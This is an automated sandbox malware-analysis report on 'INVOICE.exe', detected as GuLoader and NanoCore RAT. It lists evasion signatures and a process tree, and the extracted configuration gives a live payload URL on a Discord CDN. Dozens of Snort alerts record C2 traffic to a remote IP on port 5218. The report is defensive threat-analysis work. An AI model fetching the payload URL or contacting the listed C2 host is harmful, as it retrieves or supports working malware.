Edit tour

Windows Analysis Report
INVOICE.exe

Overview

General Information

Sample Name:	INVOICE.exe
Analysis ID:	634111
MD5:	a10619d494661c1f8ca180e53c5a11fd
SHA1:	1273e17b50d8d33078df02447fa9adaab255b459
SHA256:	e126c11aec2897bd7959747e70bc85d4153abdadbe45344bb41771ced23f3228
Infos:

Detection

NanoCore, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: NanoCore

Yara detected GuLoader

Snort IDS alert for network traffic

Initial sample is a PE file and has a suspicious name

Writes to foreign memory regions

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Executable has a suspicious name (potential lure to open the executable)

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Binary contains a suspicious time stamp

PE / OLE file has an invalid certificate

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64native

INVOICE.exe (PID: 4312 cmdline: "C:\Users\user\Desktop\INVOICE.exe" MD5: A10619D494661C1F8CA180E53C5A11FD)

CasPol.exe (PID: 7412 cmdline: "C:\Users\user\Desktop\INVOICE.exe" MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://cdn.discordapp.com/attachments/963535165500588126/978282265127825408/NANOBIN_HBsjI150.bin"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000000.844018063.0000000001130000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Signatures

AV Detection

Sigma detected: NanoCore

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe, ProcessId: 7412, TargetFilename: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

E-Banking Fraud

Sigma detected: NanoCore

Source: File created

Stealing of Sensitive Information

Sigma detected: NanoCore

Source: File created

Remote Access Functionality

Sigma detected: NanoCore

Source: File created

Snort Signatures

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980552182816766 05/25/22-16:30:31.751555
SID:	2816766
Source Port:	49805
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981552182816766 05/25/22-16:31:33.404683
SID:	2816766
Source Port:	49815
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984852182816766 05/25/22-16:34:13.846527
SID:	2816766
Source Port:	49848
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981852182816766 05/25/22-16:31:52.701193
SID:	2816766
Source Port:	49818
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984552182816766 05/25/22-16:33:55.542675
SID:	2816766
Source Port:	49845
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980852182816766 05/25/22-16:30:50.298729
SID:	2816766
Source Port:	49808
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981252182816766 05/25/22-16:31:15.327532
SID:	2816766
Source Port:	49812
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980252182816766 05/25/22-16:30:12.634320
SID:	2816766
Source Port:	49802
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977452182816718 05/25/22-16:27:24.086527
SID:	2816718
Source Port:	49774
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979452182816718 05/25/22-16:29:22.407860
SID:	2816718
Source Port:	49794
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983852182816766 05/25/22-16:33:12.305367
SID:	2816766
Source Port:	49838
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978152182816718 05/25/22-16:28:01.588003
SID:	2816718
Source Port:	49781
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979952182816766 05/25/22-16:29:54.854199
SID:	2816766
Source Port:	49799
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984552182025019 05/25/22-16:33:53.705193
SID:	2025019
Source Port:	49845
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284974852182025019 05/25/22-16:26:46.864576
SID:	2025019
Source Port:	49748
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984852182025019 05/25/22-16:34:12.263748
SID:	2025019
Source Port:	49848
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979252182816766 05/25/22-16:29:11.008493
SID:	2816766
Source Port:	49792
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978952182816766 05/25/22-16:28:50.992111
SID:	2816766
Source Port:	49789
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978252182816766 05/25/22-16:28:07.909556
SID:	2816766
Source Port:	49782
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983852182025019 05/25/22-16:33:10.498232
SID:	2025019
Source Port:	49838
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977552182025019 05/25/22-16:27:28.453733
SID:	2025019
Source Port:	49775
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) - Source IP: 23.105.131.228 - Destination IP: 192.168.11.20

Timestamp:	23.105.131.228192.168.11.205218498512841753 05/25/22-16:34:36.244631
SID:	2841753
Source Port:	5218
Destination Port:	49851
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979552182025019 05/25/22-16:29:28.100659
SID:	2025019
Source Port:	49795
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983252182816766 05/25/22-16:32:41.208691
SID:	2816766
Source Port:	49832
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978552182025019 05/25/22-16:28:24.771071
SID:	2025019
Source Port:	49785
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) - Source IP: 23.105.131.228 - Destination IP: 192.168.11.20

Timestamp:	23.105.131.228192.168.11.205218497592841753 05/25/22-16:27:00.103276
SID:	2841753
Source Port:	5218
Destination Port:	49759
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979052182816766 05/25/22-16:28:57.526142
SID:	2816766
Source Port:	49790
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980852182025019 05/25/22-16:30:48.603212
SID:	2025019
Source Port:	49808
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981852182025019 05/25/22-16:31:51.045279
SID:	2025019
Source Port:	49818
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284974952182816766 05/25/22-16:26:55.057687
SID:	2816766
Source Port:	49749
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284982252182816766 05/25/22-16:32:17.506541
SID:	2816766
Source Port:	49822
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984752182025019 05/25/22-16:34:05.952772
SID:	2025019
Source Port:	49847
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979852182816766 05/25/22-16:29:48.637027
SID:	2816766
Source Port:	49798
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284975952182816766 05/25/22-16:27:00.103543
SID:	2816766
Source Port:	49759
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977952182816766 05/25/22-16:27:49.167335
SID:	2816766
Source Port:	49779
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keepalive Response 1 - Source IP: 23.105.131.228 - Destination IP: 192.168.11.20

Timestamp:	23.105.131.228192.168.11.205218498172810290 05/25/22-16:31:45.092800
SID:	2810290
Source Port:	5218
Destination Port:	49817
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983752182025019 05/25/22-16:33:04.168009
SID:	2025019
Source Port:	49837
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984252182816766 05/25/22-16:33:37.063051
SID:	2816766
Source Port:	49842
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980452182816718 05/25/22-16:30:24.424049
SID:	2816718
Source Port:	49804
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978352182025019 05/25/22-16:28:12.382304
SID:	2025019
Source Port:	49783
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977352182025019 05/25/22-16:27:16.213770
SID:	2025019
Source Port:	49773
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978052182816766 05/25/22-16:27:55.336603
SID:	2816766
Source Port:	49780
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981452182816766 05/25/22-16:31:27.677259
SID:	2816766
Source Port:	49814
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983452182816766 05/25/22-16:32:53.455056
SID:	2816766
Source Port:	49834
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978052182025019 05/25/22-16:27:53.470678
SID:	2025019
Source Port:	49780
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981952182816766 05/25/22-16:31:58.993113
SID:	2816766
Source Port:	49819
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984152182816718 05/25/22-16:33:29.977439
SID:	2816718
Source Port:	49841
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979052182025019 05/25/22-16:28:55.697451
SID:	2025019
Source Port:	49790
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979352182025019 05/25/22-16:29:15.457432
SID:	2025019
Source Port:	49793
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980952182816766 05/25/22-16:30:55.689976
SID:	2816766
Source Port:	49809
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284982252182816718 05/25/22-16:32:16.717000
SID:	2816718
Source Port:	49822
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984452182816766 05/25/22-16:33:49.422646
SID:	2816766
Source Port:	49844
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978152182025019 05/25/22-16:27:59.670880
SID:	2025019
Source Port:	49781
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979152182025019 05/25/22-16:29:03.014507
SID:	2025019
Source Port:	49791
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981752182816766 05/25/22-16:31:46.470211
SID:	2816766
Source Port:	49817
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984752182816766 05/25/22-16:34:07.795147
SID:	2816766
Source Port:	49847
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983752182816766 05/25/22-16:33:05.936139
SID:	2816766
Source Port:	49837
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980652182816766 05/25/22-16:30:38.113236
SID:	2816766
Source Port:	49806
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978252182025019 05/25/22-16:28:06.138718
SID:	2025019
Source Port:	49782
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981652182816766 05/25/22-16:31:40.194825
SID:	2816766
Source Port:	49816
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979252182025019 05/25/22-16:29:09.264603
SID:	2025019
Source Port:	49792
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983652182816766 05/25/22-16:32:59.707817
SID:	2816766
Source Port:	49836
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284982652182816766 05/25/22-16:32:23.833819
SID:	2816766
Source Port:	49826
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984652182816766 05/25/22-16:34:01.648187
SID:	2816766
Source Port:	49846
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980752182816766 05/25/22-16:30:44.246974
SID:	2816766
Source Port:	49807
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979452182816766 05/25/22-16:29:23.408734
SID:	2816766
Source Port:	49794
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978452182816766 05/25/22-16:28:20.281595
SID:	2816766
Source Port:	49784
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981052182025019 05/25/22-16:31:01.082735
SID:	2025019
Source Port:	49810
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284982052182025019 05/25/22-16:32:03.376767
SID:	2025019
Source Port:	49820
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979752182816766 05/25/22-16:29:42.453149
SID:	2816766
Source Port:	49797
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284985052182025019 05/25/22-16:34:24.645932
SID:	2025019
Source Port:	49850
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981352182025019 05/25/22-16:31:19.726151
SID:	2025019
Source Port:	49813
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984652182025019 05/25/22-16:33:59.917803
SID:	2025019
Source Port:	49846
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977452182816766 05/25/22-16:27:24.106124
SID:	2816766
Source Port:	49774
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983052182025019 05/25/22-16:32:28.339078
SID:	2025019
Source Port:	49830
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980352182025019 05/25/22-16:30:17.769659
SID:	2025019
Source Port:	49803
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984052182025019 05/25/22-16:33:22.875676
SID:	2025019
Source Port:	49840
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284976752182025019 05/25/22-16:27:04.846136
SID:	2025019
Source Port:	49767
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983652182025019 05/25/22-16:32:58.020068
SID:	2025019
Source Port:	49836
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284979752182025019 05/25/22-16:29:40.806456
SID:	2025019
Source Port:	49797
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284980652182025019 05/25/22-16:30:36.339999
SID:	2025019
Source Port:	49806
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284982652182025019 05/25/22-16:32:22.102445
SID:	2025019
Source Port:	49826
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284984952182025019 05/25/22-16:34:18.439602
SID:	2025019
Source Port:	49849
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978752182816766 05/25/22-16:28:38.133818
SID:	2816766
Source Port:	49787
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284978752182025019 05/25/22-16:28:37.063244
SID:	2025019
Source Port:	49787
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284981652182025019 05/25/22-16:31:38.474206
SID:	2025019
Source Port:	49816
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284983052182816766 05/25/22-16:32:30.129444
SID:	2816766
Source Port:	49830
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

Timestamp:	192.168.11.2023.105.131.2284977452182025019 05/25/22-16:27:22.348086
SID:	2025019
Source Port:	49774
Destination Port:	5218
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 23.105.131.228

